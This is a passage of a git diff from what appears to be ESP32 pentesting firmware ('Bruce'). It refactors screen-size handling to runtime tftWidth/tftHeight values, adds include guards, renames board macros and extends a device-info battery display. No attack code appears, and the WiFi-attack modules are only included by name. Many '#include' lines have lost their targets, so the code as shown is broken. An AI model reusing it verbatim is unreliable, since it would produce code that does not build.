@@ -1,7 +1,7 @@
#ifndef __RF_MENU_H__
#define __RF_MENU_H__
-#include "MenuItemInterface.h"
+#include
class RFMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/ScriptsMenu.cpp b/src/core/menu_items/ScriptsMenu.cpp
index 602bb7e5..d1eee8b0 100644
--- a/src/core/menu_items/ScriptsMenu.cpp
+++ b/src/core/menu_items/ScriptsMenu.cpp
@@ -3,7 +3,7 @@
#include "core/display.h"
#include "core/settings.h"
#include "modules/bjs_interpreter/interpreter.h" // for JavaScript interpreter
-
+#include "core/utils.h"
String getScriptsFolder(FS *&fs) {
String folder;
diff --git a/src/core/menu_items/ScriptsMenu.h b/src/core/menu_items/ScriptsMenu.h
index f1eea5bc..1d2b014b 100644
--- a/src/core/menu_items/ScriptsMenu.h
+++ b/src/core/menu_items/ScriptsMenu.h
@@ -1,7 +1,7 @@
#ifndef __SCRIPTS_MENU_H__
#define __SCRIPTS_MENU_H__
-#include "MenuItemInterface.h"
+#include
class ScriptsMenu : public MenuItemInterface {
diff --git a/src/core/menu_items/WifiMenu.cpp b/src/core/menu_items/WifiMenu.cpp
index 81ee5078..d98f0d10 100644
--- a/src/core/menu_items/WifiMenu.cpp
+++ b/src/core/menu_items/WifiMenu.cpp
@@ -9,6 +9,7 @@
#include "modules/wifi/sniffer.h"
#include "modules/wifi/wifi_atks.h"
#include "modules/wifi/ap_info.h"
+#include "core/utils.h"
#ifndef LITE_VERSION
#include "modules/pwnagotchi/pwnagotchi.h"
diff --git a/src/core/menu_items/WifiMenu.h b/src/core/menu_items/WifiMenu.h
index d3ea6558..130c2848 100644
--- a/src/core/menu_items/WifiMenu.h
+++ b/src/core/menu_items/WifiMenu.h
@@ -1,7 +1,7 @@
#ifndef __WIFI_MENU_H__
#define __WIFI_MENU_H__
-#include "MenuItemInterface.h"
+#include
class WifiMenu : public MenuItemInterface {
diff --git a/src/core/mykeyboard.cpp b/src/core/mykeyboard.cpp
index de396ba6..9ab8ec7f 100644
--- a/src/core/mykeyboard.cpp
+++ b/src/core/mykeyboard.cpp
@@ -320,8 +320,8 @@ String keyboard(String mytext, int maxSize, String msg) {
{ '/', '/' } //12
}
};
- int _x = WIDTH/12;
- int _y = (HEIGHT - 54)/4;
+ int _x = tftWidth/12;
+ int _y = (tftHeight - 54)/4;
int _xo = _x/2-3;
#if defined(HAS_TOUCH)
@@ -371,7 +371,7 @@ String keyboard(String mytext, int maxSize, String msg) {
box_list[k].color = ~bruceConfig.bgColor;
box_list[k].x=159;
box_list[k].y=0;
- box_list[k].w=WIDTH-164;
+ box_list[k].w=tftWidth-164;
box_list[k].h=22;
k=0;
@@ -394,12 +394,12 @@ String keyboard(String mytext, int maxSize, String msg) {
//Draw the rectangles
if(y<0) {
- tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor);
+ tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor);
tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle
tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle
tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle
tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); }
@@ -429,7 +429,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.setTextSize(FM);
// reseta o quadrado do texto
- if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle
+ if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle
// escreve o texto
tft.setTextColor(TFT_WHITE);
if(mytext.length()>19) {
@@ -445,7 +445,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -551,7 +551,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
diff --git a/src/core/mykeyboard.h b/src/core/mykeyboard.h
index e446474f..4fa61494 100644
--- a/src/core/mykeyboard.h
+++ b/src/core/mykeyboard.h
@@ -1,6 +1,6 @@
#pragma once
#include "display.h"
-#include "globals.h"
+#include
String __attribute__((weak)) keyboard(String mytext, int maxSize = 76, String msg = "Type your message:");
diff --git a/src/core/passwords.cpp b/src/core/passwords.cpp
index 597ca9a3..3393d079 100644
--- a/src/core/passwords.cpp
+++ b/src/core/passwords.cpp
@@ -3,7 +3,7 @@
#include
#include "passwords.h"
-#include "globals.h"
+#include
#include "sd_functions.h"
#include "mykeyboard.h"
#include "modules/rf/rf.h" //for hexCharToDecimal
diff --git a/src/core/powerSave.cpp b/src/core/powerSave.cpp
index 03401936..075d7dc5 100644
--- a/src/core/powerSave.cpp
+++ b/src/core/powerSave.cpp
@@ -1,28 +1,6 @@
#include "powerSave.h"
#include "settings.h"
-
-/* Turn off the display */
-void turnOffDisplay() {
- setBrightness(0,false);
-}
-
-/* If the device screen is off, turn on, else just refresh sleep timer */
-bool wakeUpScreen(){
- previousMillis = millis();
- if(isScreenOff){
- isScreenOff = false;
- dimmer = false;
- getBrightness();
- delay(200);
- return true;
- }else if(dimmer){
- dimmer = false;
- getBrightness();
- delay(200);
- return true;
- }
- return false;
-}
+#include "display.h"
/* Check if it's time to put the device to sleep */
void checkPowerSaveTime(){
@@ -42,6 +20,7 @@ void sleepModeOn(){
isSleeping = true;
setCpuFrequencyMhz(80);
turnOffDisplay();
+ disableLoopWDT();
delay(200);
}
@@ -50,5 +29,7 @@ void sleepModeOff(){
isSleeping = false;
setCpuFrequencyMhz(240);
getBrightness();
+ enableLoopWDT();
+ feedLoopWDT();
delay(200);
}
diff --git a/src/core/powerSave.h b/src/core/powerSave.h
index 1c30ff27..58590070 100644
--- a/src/core/powerSave.h
+++ b/src/core/powerSave.h
@@ -1,11 +1,6 @@
-#include "globals.h"
+#include
#include "display.h"
-//It is here to not create a new set of files just to use AXP192 library again
-void turnOffDisplay();
-
-bool wakeUpScreen();
-
void checkPowerSaveTime();
void sleepModeOn();
diff --git a/src/core/scrollableTextArea.cpp b/src/core/scrollableTextArea.cpp
index d3ea89a6..366b3945 100644
--- a/src/core/scrollableTextArea.cpp
+++ b/src/core/scrollableTextArea.cpp
@@ -7,8 +7,8 @@ ScrollableTextArea::ScrollableTextArea(const String& title) :
_fontSize(FP),
_startX(BORDER_PAD_X),
_startY(BORDER_PAD_Y),
- _width(WIDTH - 2*BORDER_PAD_X),
- _height(HEIGHT - BORDER_PAD_X - BORDER_PAD_Y)
+ _width(tftWidth - 2*BORDER_PAD_X),
+ _height(tftHeight - BORDER_PAD_X - BORDER_PAD_Y)
#ifdef HAS_SCREEN
,_scrollBuffer(&tft)
#endif
@@ -27,16 +27,16 @@ ScrollableTextArea::ScrollableTextArea(const String& title) :
ScrollableTextArea::ScrollableTextArea(
uint8_t fontSize, int16_t startX, int16_t startY, int32_t width, int32_t height
) : _startLine{0},
- _redraw{true},
+ _redraw{true},
_title(""),
- _fontSize(fontSize),
- _startX(startX),
- _startY(startY),
- _width(width),
- _height(height)
+ _fontSize(fontSize),
+ _startX(startX),
+ _startY(startY),
+ _width(width),
+ _height(height)
#ifdef HAS_SCREEN
- ,_scrollBuffer(&tft)
-#endif
+ ,_scrollBuffer(&tft)
+ #endif
{
drawMainBorder();
setup();
@@ -50,15 +50,15 @@ ScrollableTextArea::~ScrollableTextArea() {
void ScrollableTextArea::setup() {
#ifdef HAS_SCREEN
- _scrollBuffer.createSprite(_width, _height);
- _scrollBuffer.setTextColor(bruceConfig.priColor);
- _scrollBuffer.setTextSize(_fontSize);
+ _scrollBuffer.createSprite(_width, _height);
+ _scrollBuffer.setTextColor(bruceConfig.priColor);
+ _scrollBuffer.setTextSize(_fontSize);
_scrollBuffer.fillSprite(bruceConfig.bgColor);
_maxCharsInLine = floor(_width / _scrollBuffer.textWidth("w", _fontSize));
- _pxlsPerLine = _scrollBuffer.fontHeight() + 2;
- _maxLinesInArea = floor(_height / _pxlsPerLine);
-#endif
+ _pxlsPerLine = _scrollBuffer.fontHeight() + 2;
+ _maxLinesInArea = floor(_height / _pxlsPerLine);
+ #endif
}
void ScrollableTextArea::scrollUp() {
diff --git a/src/core/scrollableTextArea.h b/src/core/scrollableTextArea.h
index 78776041..1f52e74a 100644
--- a/src/core/scrollableTextArea.h
+++ b/src/core/scrollableTextArea.h
@@ -1,14 +1,14 @@
-#include "core/display.h"
+#include "display.h"
class ScrollableTextArea {
public:
ScrollableTextArea(const String& title = "");
ScrollableTextArea(
- uint8_t fontSize,
- int16_t startX,
- int16_t startY,
- int32_t width,
+ uint8_t fontSize,
+ int16_t startX,
+ int16_t startY,
+ int32_t width,
int32_t height
);
diff --git a/src/core/sd_functions.cpp b/src/core/sd_functions.cpp
index 9cd065ef..fc9a8edf 100644
--- a/src/core/sd_functions.cpp
+++ b/src/core/sd_functions.cpp
@@ -1,5 +1,5 @@
#include
-#include "globals.h"
+#include
#include "sd_functions.h"
#include "mykeyboard.h" // using keyboard when calling rename
#include "display.h" // using displayRedStripe as error msg
@@ -45,7 +45,7 @@ if(sdcardMounted) return true;
if (!SD.begin(SDCARD_CS, sdcardSPI))
#endif
{
- #if defined(STICK_C_PLUS) || defined(STICK_C_PLUS2)
+ #if defined(ARDUINO_M5STICK_C_PLUS) || defined(ARDUINO_M5STICK_C_PLUS2)
sdcardSPI.end(); // Closes SPI connections and release pin header.
#endif
sdcardMounted = false;
@@ -64,7 +64,7 @@ if(sdcardMounted) return true;
***************************************************************************************/
void closeSdCard() {
SD.end();
- #if defined(STICK_C_PLUS) || defined(STICK_C_PLUS2)
+ #if defined(ARDUINO_M5STICK_C_PLUS) || defined(ARDUINO_M5STICK_C_PLUS2)
sdcardSPI.end(); // Closes SPI connections and release pins.
#endif
//Serial.println("SD Card Unmounted...");
@@ -165,7 +165,7 @@ bool copyToFs(FS from, FS to, String path, bool draw) {
displayError("Not enought space", true);
return false;
}
- //tft.drawRect(5,HEIGHT-12, (WIDTH-10), 9, bruceConfig.priColor);
+ //tft.drawRect(5,tftHeight-12, (tftWidth-10), 9, bruceConfig.priColor);
while ((bytesRead = source.read(buff, bufSize)) > 0) {
if (dest.write(buff, bytesRead) != bytesRead) {
//Serial.println("Falha ao escrever no arquivo de destino");
@@ -176,7 +176,7 @@ bool copyToFs(FS from, FS to, String path, bool draw) {
} else {
prog+=bytesRead;
float rad = 360*prog/tot;
- if(draw) tft.drawArc(WIDTH/2,HEIGHT/2,HEIGHT/4,HEIGHT/5,0,int(rad),ALCOLOR,bruceConfig.bgColor,true);
+ if(draw) tft.drawArc(tftWidth/2,tftHeight/2,tftHeight/4,tftHeight/5,0,int(rad),ALCOLOR,bruceConfig.bgColor,true);
}
}
if(prog==tot) result = true;
@@ -231,7 +231,7 @@ bool pasteFile(FS fs, String path) {
size_t bytesRead;
int tot=sourceFile.size();
int prog=0;
- //tft.drawRect(5,HEIGHT-12, (WIDTH-10), 9, bruceConfig.priColor);
+ //tft.drawRect(5,tftHeight-12, (tftWidth-10), 9, bruceConfig.priColor);
while ((bytesRead = sourceFile.read(buff, bufSize)) > 0) {
if (destFile.write(buff, bytesRead) != bytesRead) {
//Serial.println("Falha ao escrever no arquivo de destino");
@@ -241,8 +241,8 @@ bool pasteFile(FS fs, String path) {
} else {
prog+=bytesRead;
float rad = 360*prog/tot;
- tft.drawArc(WIDTH/2,HEIGHT/2,HEIGHT/4,HEIGHT/5,0,int(rad),ALCOLOR,bruceConfig.bgColor,true);
- //tft.fillRect(7,HEIGHT-10, (WIDTH-14)*prog/tot, 5, bruceConfig.priColor);
+ tft.drawArc(tftWidth/2,tftHeight/2,tftHeight/4,tftHeight/5,0,int(rad),ALCOLOR,bruceConfig.bgColor,true);
+ //tft.fillRect(7,tftHeight-10, (tftWidth-14)*prog/tot, 5, bruceConfig.priColor);
}
}
@@ -455,7 +455,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
String Folder = "/";
String PreFolder = "/";
tft.fillScreen(bruceConfig.bgColor);
- tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,bruceConfig.priColor);
+ tft.drawRoundRect(5,5,tftWidth-10,tftHeight-10,5,bruceConfig.priColor);
if(&fs==&SD) {
closeSdCard();
if(!setupSdCard()){
@@ -477,7 +477,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
if(strcmp(PreFolder.c_str(),Folder.c_str()) != 0 || reload){
index=0;
tft.fillScreen(bruceConfig.bgColor);
- tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,bruceConfig.priColor);
+ tft.drawRoundRect(5,5,tftWidth-10,tftHeight-10,5,bruceConfig.priColor);
Serial.println("reload to read: " + Folder);
readFs(fs, Folder, allowed_ext);
PreFolder = Folder;
@@ -579,7 +579,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
};
delay(200);
loopOptions(options);
- tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,bruceConfig.priColor);
+ tft.drawRoundRect(5,5,tftWidth-10,tftHeight-10,5,bruceConfig.priColor);
reload = true;
redraw = true;
} else if(fileList[index].folder==false && fileList[index].operation==false){
@@ -592,7 +592,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
options.push_back({"Main Menu", [&]() { exit = true; }});
delay(200);
loopOptions(options);
- tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,bruceConfig.priColor);
+ tft.drawRoundRect(5,5,tftWidth-10,tftHeight-10,5,bruceConfig.priColor);
reload = true;
redraw = true;
}
@@ -732,7 +732,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) {
result = filepath;
break;
}
- tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,bruceConfig.priColor);
+ tft.drawRoundRect(5,5,tftWidth-10,tftHeight-10,5,bruceConfig.priColor);
reload = true;
redraw = true;
} else {
@@ -766,7 +766,7 @@ void viewFile(FS fs, String filepath) {
file.close();
area.show();
-}
+ }
/*********************************************************************
** Function: checkLittleFsSize
diff --git a/src/core/sd_functions.h b/src/core/sd_functions.h
index 8a34b337..77fac02d 100644
--- a/src/core/sd_functions.h
+++ b/src/core/sd_functions.h
@@ -1,4 +1,6 @@
-#pragma once
+#ifndef __SD_FUNCTIONS_H__
+#define __SD_FUNCTIONS_H__
+
#include
#include
#include
@@ -53,3 +55,5 @@ bool checkLittleFsSizeNM(); //Don't display msg
bool getFsStorage(FS *&fs);
void fileInfo(FS fs, String filepath);
+
+#endif
\ No newline at end of file
diff --git a/src/core/serialcmds.cpp b/src/core/serialcmds.cpp
index b77522fd..3b085e6b 100644
--- a/src/core/serialcmds.cpp
+++ b/src/core/serialcmds.cpp
@@ -1,6 +1,6 @@
#include "serialcmds.h"
-#include "globals.h"
+#include
#include
#include "cJSON.h"
#include // for PRIu64
@@ -13,6 +13,7 @@
#include "settings.h"
#include "display.h"
#include "powerSave.h"
+#include "core/utils.h"
#include "wifi_common.h"
#include "passwords.h"
#include "modules/rf/rf.h"
@@ -120,7 +121,7 @@ bool is_free_gpio_pin(int pin_no ){
// check if pin_no is usable for general GPIO
std::vector usable_pins = {GROVE_SDA, GROVE_SCL};
- #if defined(STICK_C_PLUS2) || defined(STICK_C_PLUS)
+ #if defined(ARDUINO_M5STICK_C_PLUS2) || defined(ARDUINO_M5STICK_C_PLUS)
usable_pins.insert(usable_pins.end(), { 25, 26, 32, 33, 0 });
#elif defined(ESP32S3DEVKITC1)
usable_pins.insert(usable_pins.end(), {
diff --git a/src/core/serialcmds.h b/src/core/serialcmds.h
index cb5a1481..9d0e1f0d 100644
--- a/src/core/serialcmds.h
+++ b/src/core/serialcmds.h
@@ -1,3 +1,5 @@
+#ifndef __SERIAL_CMDS_H__
+#define __SERIAL_CMDS_H__
#include
@@ -7,3 +9,4 @@ bool processSerialCommand(String cmd_str);
void startSerialCommandsHandlerTask();
+#endif
\ No newline at end of file
diff --git a/src/core/settings.cpp b/src/core/settings.cpp
index 8ebb3d8f..1831e063 100644
--- a/src/core/settings.cpp
+++ b/src/core/settings.cpp
@@ -1,7 +1,8 @@
-#include "globals.h"
+#include
#include "settings.h"
#include "display.h" // calling loopOptions(options, true);
#include "wifi_common.h"
+#include "utils.h"
#include "mykeyboard.h"
#include "sd_functions.h"
#include "powerSave.h"
@@ -18,10 +19,10 @@ void _setBrightness(uint8_t brightval) { }
** Function: setBrightness
** set brightness value
**********************************************************************/
-void setBrightness(int brightval, bool save) {
+void setBrightness(uint8_t brightval, bool save) {
if(bruceConfig.bright>100) bruceConfig.setBright(100);
- _setBrightness(brightval);
- delay(10);
+ _setBrightness(brightval);
+ delay(10);
if(save){
bruceConfig.setBright(brightval);
@@ -82,11 +83,11 @@ void setBrightnessMenu() {
else if(bruceConfig.bright== 1) idx=4;
options = {
- {"100%", [=]() { setBrightness(100); }, bruceConfig.bright == 100 },
- {"75 %", [=]() { setBrightness(75); }, bruceConfig.bright == 75 },
- {"50 %", [=]() { setBrightness(50); }, bruceConfig.bright == 50 },
- {"25 %", [=]() { setBrightness(25); }, bruceConfig.bright == 25 },
- {" 1 %", [=]() { setBrightness(1); }, bruceConfig.bright == 1 },
+ {"100%", [=]() { setBrightness((uint8_t)100); }, bruceConfig.bright == 100 },
+ {"75 %", [=]() { setBrightness((uint8_t)75); }, bruceConfig.bright == 75 },
+ {"50 %", [=]() { setBrightness((uint8_t)50); }, bruceConfig.bright == 50 },
+ {"25 %", [=]() { setBrightness((uint8_t)25); }, bruceConfig.bright == 25 },
+ {" 1 %", [=]() { setBrightness((uint8_t)1); }, bruceConfig.bright == 1 },
{"Main Menu", [=]() { backToMenu(); }}, // this one bugs the brightness selection
};
delay(200);
@@ -314,10 +315,11 @@ void setClock() {
if(!wifiConnected) wifiConnectMenu();
options = {
- {"Brasilia", [&]() { bruceConfig.setTmz(-3); }, bruceConfig.tmz==-3 },
- {"Pernambuco", [&]() { bruceConfig.setTmz(-2); }, bruceConfig.tmz==-2 },
{"Los Angeles", [&]() { bruceConfig.setTmz(-8); }, bruceConfig.tmz==-8 },
+ {"Chicago", [&]() { bruceConfig.setTmz(-6); }, bruceConfig.tmz==-6 },
{"New York", [&]() { bruceConfig.setTmz(-5); }, bruceConfig.tmz==-5 },
+ {"Brasilia", [&]() { bruceConfig.setTmz(-3); }, bruceConfig.tmz==-3 },
+ {"Pernambuco", [&]() { bruceConfig.setTmz(-2); }, bruceConfig.tmz==-2 },
{"Lisbon", [&]() { bruceConfig.setTmz(0); }, bruceConfig.tmz==0 },
{"Paris", [&]() { bruceConfig.setTmz(1); }, bruceConfig.tmz==1 },
{"Athens", [&]() { bruceConfig.setTmz(2); }, bruceConfig.tmz==2 },
@@ -411,17 +413,17 @@ void runClockLoop() {
Serial.print("Current time: ");
Serial.println(timeStr);
tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
- tft.drawRect(10, 10, WIDTH-15,HEIGHT-15, bruceConfig.priColor);
- tft.setCursor(64, HEIGHT/3+5);
+ tft.drawRect(10, 10, tftWidth-15,tftHeight-15, bruceConfig.priColor);
+ tft.setCursor(64, tftHeight/3+5);
tft.setTextSize(4);
#if defined(HAS_RTC)
_rtc.GetBm8563Time();
_rtc.GetTime(&_time);
char timeString[9]; // Buffer para armazenar a string formatada "HH:MM:SS"
snprintf(timeString, sizeof(timeString), "%02d:%02d:%02d", _time.Hours, _time.Minutes, _time.Seconds);
- tft.drawCentreString(timeString,WIDTH/2,HEIGHT/2-13,1);
+ tft.drawCentreString(timeString,tftWidth/2,tftHeight/2-13,1);
#else
- tft.drawCentreString(timeStr,WIDTH/2,HEIGHT/2-13,1);
+ tft.drawCentreString(timeStr,tftWidth/2,tftHeight/2-13,1);
#endif
tmp=millis();
}
diff --git a/src/core/settings.h b/src/core/settings.h
index 2d264789..c285ee57 100644
--- a/src/core/settings.h
+++ b/src/core/settings.h
@@ -1,9 +1,11 @@
-#pragma once
+#ifndef __SETTINGS_H__
+#define __SETTINGS_H__
+
#include
void _setBrightness(uint8_t brightval) __attribute__((weak));
-void setBrightness(int bright, bool save = true);
+void setBrightness(uint8_t brightval, bool save = true);
void getBrightness();
@@ -44,3 +46,5 @@ void setWifiStartupConfig();
void setStartupApp();
void setGpsBaudrateMenu();
+
+#endif
\ No newline at end of file
diff --git a/src/core/utils.cpp b/src/core/utils.cpp
index 225fe68d..62d1b5b4 100644
--- a/src/core/utils.cpp
+++ b/src/core/utils.cpp
@@ -1,7 +1,30 @@
#include "utils.h"
-#include "globals.h"
+#include
#include "scrollableTextArea.h"
+/*********************************************************************
+** Function: backToMenu
+** sets the global var to be be used in the options second parameter
+** and returnToMenu will be user do handle the breaks of all loops
+
+when using loopfunctions with an option to "Back to Menu", use:
+
+add this option:
+ options.push_back({"Main Menu", [=]() { backToMenu(); }});
+
+while(1) {
+ if(returnToMenu) break; // stop this loop and return to the previous loop
+
+ ...
+ loopOptions(options);
+ ...
+}
+*/
+
+void backToMenu() {
+ returnToMenu=true;
+}
+
void updateClockTimezone(){
timeClient.begin();
timeClient.update();
@@ -17,6 +40,10 @@ void updateClockTimezone(){
#endif
}
+void updateTimeStr(struct tm timeInfo) {
+ // Atualiza timeStr com a hora e minuto
+ snprintf(timeStr, sizeof(timeStr), "%02d:%02d:%02d", timeInfo.tm_hour, timeInfo.tm_min, timeInfo.tm_sec);
+}
void showDeviceInfo() {
ScrollableTextArea area = ScrollableTextArea("DEVICE INFO");
@@ -28,18 +55,40 @@ void showDeviceInfo() {
#ifdef HAS_SCREEN
area.addLine("[SCREEN]");
area.addLine("Rotation: " + String(ROTATION));
- area.addLine("Width: " + String(WIDTH) + "px");
- area.addLine("Height: " + String(HEIGHT) + "px");
+ area.addLine("Width: " + String(tftWidth) + "px");
+ area.addLine("Height: " + String(tftHeight) + "px");
+ area.addLine("Brightness: " + String(bruceConfig.bright) + "%");
area.addLine("");
#endif
area.addLine("[GPIO]");
area.addLine("GROVE_SDA: " + String(GROVE_SDA));
area.addLine("GROVE_SCL: " + String(GROVE_SCL));
+ area.addLine("SERIAL TX: " + String(SERIAL_TX));
+ area.addLine("SERIAL RX: " + String(SERIAL_RX));
area.addLine("SPI_SCK_PIN: " + String(SPI_SCK_PIN));
area.addLine("SPI_MOSI_PIN: " + String(SPI_MOSI_PIN));
area.addLine("SPI_MISO_PIN: " + String(SPI_MISO_PIN));
area.addLine("SPI_SS_PIN: " + String(SPI_SS_PIN));
+ area.addLine("IR TX: " + String(LED));
+ area.addLine("IR RX: " + String(RXLED));
+ area.addLine("");
+ area.addLine("[BAT]");
+ area.addLine("Charge: " + String(getBattery()) + "%");
+ #ifdef USE_BQ27220_VIA_I2C
+ area.addLine("BQ27220 ADDR: " + String(BQ27220_I2C_ADDRESS));
+ area.addLine("Charging: " + bq.getIsCharging());
+ area.addLine("Charging Voltage: " + String(((double)bq.getVolt(VOLT_MODE::VOLT_CHARGING)/1000.0)) + "V");
+ area.addLine("Charging Current: " + String(bq.getCurr(CURR_MODE::CURR_CHARGING) + "mA"));
+ area.addLine("Time to Empty: " + String((bq.getTimeToEmpty()/1440)) + " days, " + String(((bq.getTimeToEmpty()%1440)/60)) + " hrs," + String(((bq.getTimeToEmpty()%1440)%60)) + " mins");
+ area.addLine("Avg Power Use: " + String(bq.getAvgPower()) + "mW");
+ area.addLine("Avg Current: " + String(bq.getCurr(CURR_MODE::CURR_AVERAGE)) + "mA");
+ area.addLine("Voltage: " + String(((double)bq.getVolt(VOLT_MODE::VOLT)/1000.0)) + "V");
+ area.addLine("Raw Voltage: " + String(bq.getVolt(VOLT_MODE::VOLT_RWA)) + "mV");
+ area.addLine("Avg Current: " + String(bq.getCurr(CURR_MODE::CURR_AVERAGE)) + "mA");
+ area.addLine("Raw Current: " + String(bq.getCurr(CURR_MODE::CURR_RAW)) + "mA");
+ #endif
+
area.show();
-}
+}
\ No newline at end of file
diff --git a/src/core/utils.h b/src/core/utils.h
index 8ae3cd2d..c1cc75ad 100644
--- a/src/core/utils.h
+++ b/src/core/utils.h
@@ -1,3 +1,8 @@
-void updateClockTimezone();
+#ifndef __UTILS_H__
+#define __UTILS_H__
+void backToMenu();
+void updateClockTimezone();
+void updateTimeStr(struct tm timeInfo);
void showDeviceInfo();
+#endif
\ No newline at end of file
diff --git a/src/core/wg.cpp b/src/core/wg.cpp
index 94e9df9d..edf159b1 100644
--- a/src/core/wg.cpp
+++ b/src/core/wg.cpp
@@ -1,5 +1,5 @@
#include "wg.h"
-#include "globals.h"
+#include
#include "display.h"
#include "sd_functions.h"
#include "wifi_common.h"
diff --git a/src/core/wifi_common.cpp b/src/core/wifi_common.cpp
index 48ff7895..1a4f60ba 100644
--- a/src/core/wifi_common.cpp
+++ b/src/core/wifi_common.cpp
@@ -1,4 +1,4 @@
-#include "globals.h"
+#include
#include "wifi_common.h"
#include "mykeyboard.h" // usinf keyboard when calling rename
#include "display.h" // using displayRedStripe and loop options
@@ -54,7 +54,7 @@ bool _connectToWifiNetwork(const String& ssid, const String& pwd) {
int i = 1;
while (WiFi.status() != WL_CONNECTED) {
- if (tft.getCursorX() >= WIDTH-12) {
+ if (tft.getCursorX() >= tftWidth-12) {
padprintln("");
padprint("");
}
diff --git a/src/core/wifi_common.h b/src/core/wifi_common.h
index 7ffe1f08..1bba2921 100644
--- a/src/core/wifi_common.h
+++ b/src/core/wifi_common.h
@@ -3,6 +3,8 @@
#include
#include
+#ifndef __WIFI_COMMON_H__
+#define __WIFI_COMMON_H__
// TODO wrap in a class
// public
@@ -44,4 +46,6 @@ bool _connectToWifiNetwork(const String& ssid, const String& pwd);
* @brief sets up wifi in AP mode
* @note wifi.mode should be set before calling the method
*/
-bool _setupAP();
\ No newline at end of file
+bool _setupAP();
+
+#endif
\ No newline at end of file
diff --git a/src/main.cpp b/src/main.cpp
index df6c06d1..75af8cee 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -1,4 +1,4 @@
-#include "core/globals.h"
+#include
#include "core/main_menu.h"
#include
@@ -6,6 +6,7 @@
#include
#include
#include "esp32-hal-psram.h"
+#include "core/utils.h"
BruceConfig bruceConfig;
@@ -52,10 +53,18 @@ uint8_t buff[1024] = {0};
TFT_eSPI tft = TFT_eSPI(); // Invoke custom library
TFT_eSprite sprite = TFT_eSprite(&tft);
TFT_eSprite draw = TFT_eSprite(&tft);
+ volatile int tftWidth = TFT_HEIGHT;
+ #ifdef HAS_TOUCH
+ volatile int tftHeight = TFT_WIDTH-20; // 20px to draw the TouchFooter(), were the btns are being read in touch devices.
+ #else
+ volatile int tftHeight = TFT_WIDTH;
+ #endif
#else
- SerialDisplayClass tft;
- SerialDisplayClass& sprite = tft;
- SerialDisplayClass& draw = tft;
+ SerialDisplayClass tft;
+ SerialDisplayClass& sprite = tft;
+ SerialDisplayClass& draw = tft;
+ volatile int tftWidth = VECTOR_DISPLAY_DEFAULT_HEIGHT;
+ volatile int tftHeight = VECTOR_DISPLAY_DEFAULT_WIDTH;
#endif
@@ -78,6 +87,7 @@ uint8_t buff[1024] = {0};
void begin_storage() {
if(!LittleFS.begin(true)) { LittleFS.format(), LittleFS.begin();}
setupSdCard();
+ bruceConfig.fromFile();
}
/*********************************************************************
@@ -100,19 +110,15 @@ void _post_setup_gpio() { }
*********************************************************************/
void setup_gpio() {
- #if defined(BACKLIGHT)
- pinMode(BACKLIGHT, OUTPUT);
- #endif
-
//init setup from /ports/*/interface.h
_setup_gpio();
#ifdef USE_CC1101_VIA_SPI
#if CC1101_MOSI_PIN==TFT_MOSI // (T_EMBED), CORE2 and others
initCC1101once(&tft.getSPIinstance());
- #elif CC1101_MOSI_PIN==SDCARD_MOSI // (CARDPUTER) and (ESP32S3DEVKITC1) and devices that share CC1101 pin with only SDCard
+ #elif CC1101_MOSI_PIN==SDCARD_MOSI // (ARDUINO_M5STACK_CARDPUTER) and (ESP32S3DEVKITC1) and devices that share CC1101 pin with only SDCard
initCC1101once(&sdcardSPI);
- #else // (STICK_C_PLUS) || (STICK_C_PLUS2) and others that doesn´t share SPI with other devices (need to change it when Bruce board comes to shore)
+ #else // (ARDUINO_M5STICK_C_PLUS) || (ARDUINO_M5STICK_C_PLUS2) and others that doesn´t share SPI with other devices (need to change it when Bruce board comes to shore)
initCC1101once(NULL);
#endif
#endif
@@ -124,11 +130,14 @@ void setup_gpio() {
** Config tft
*********************************************************************/
void begin_tft(){
-#if defined(HAS_SCREEN)// && !defined(CORE) //Need to test if it will work on Core Fire etc..
- tft.init();
-#endif
tft.fillScreen(TFT_BLACK);
tft.setRotation(bruceConfig.rotation);
+ tftWidth = tft.width();
+ #ifdef HAS_TOUCH
+ tftHeight = tft.height() - 20;
+ #else
+ tftHeight = tft.height();
+ #endif
resetTftDisplay();
setBrightness(bruceConfig.bright);
}
@@ -142,11 +151,11 @@ void boot_screen() {
tft.setTextColor(bruceConfig.priColor, TFT_BLACK);
tft.setTextSize(FM);
